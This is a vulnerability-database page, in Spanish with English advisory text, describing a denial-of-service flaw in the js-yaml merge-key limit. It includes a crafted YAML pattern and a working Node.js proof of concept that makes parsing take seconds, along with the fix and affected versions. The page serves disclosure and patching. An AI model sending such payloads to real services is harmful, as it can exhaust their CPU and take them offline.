Alta

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

  • Publicada: 08.09.2026
  • Actualizado: 11.10.2026 10:22

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

yaml
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

js
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s

Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm js-yaml >= 4.0.0, < 4.3.2, >= 3.0.0, < 3.15.2 4.3.2, 3.15.2

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-400, CWE-407
Plataforma
npm
Paquete
js-yaml
Publicada
08.09.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-2883-xcg3-v3hh - CC BY 4.0

Historial de vulnerabilidades: js-yaml

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (12) en el archivo
Entradas en total
12
Primera → última
10.2017 09.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 5
  • Media 6

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 2
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 0
  8. 2024: 0
  9. 2025: 1
  10. 2026: 8
Gravedad:
  1. js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources esta entrada
    Alta · 7.5 CVE-2026-84375 >= 4.0.0, < 4.3.2, >= 3.0.0, < 3.15.2 4.3.2, 3.15.2
  2. Alta · 7.5 ghsa-5p4m-2wfm-xmqj >= 4.0.0, < 4.3.1, >= 3.0.0, < 3.15.1 4.3.1, 3.15.1
  3. Alta · 7.5 CVE-2026-59869 >= 3.0.0, < 3.15.0, >= 4.0.0, < 4.3.0 3.15.0, 4.3.0
  4. Alta ghsa-8j8c-7jfh-h6hx < 3.13.1 3.13.1
  5. Crítica CVE-2013-4660 < 2.0.5 2.0.5

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.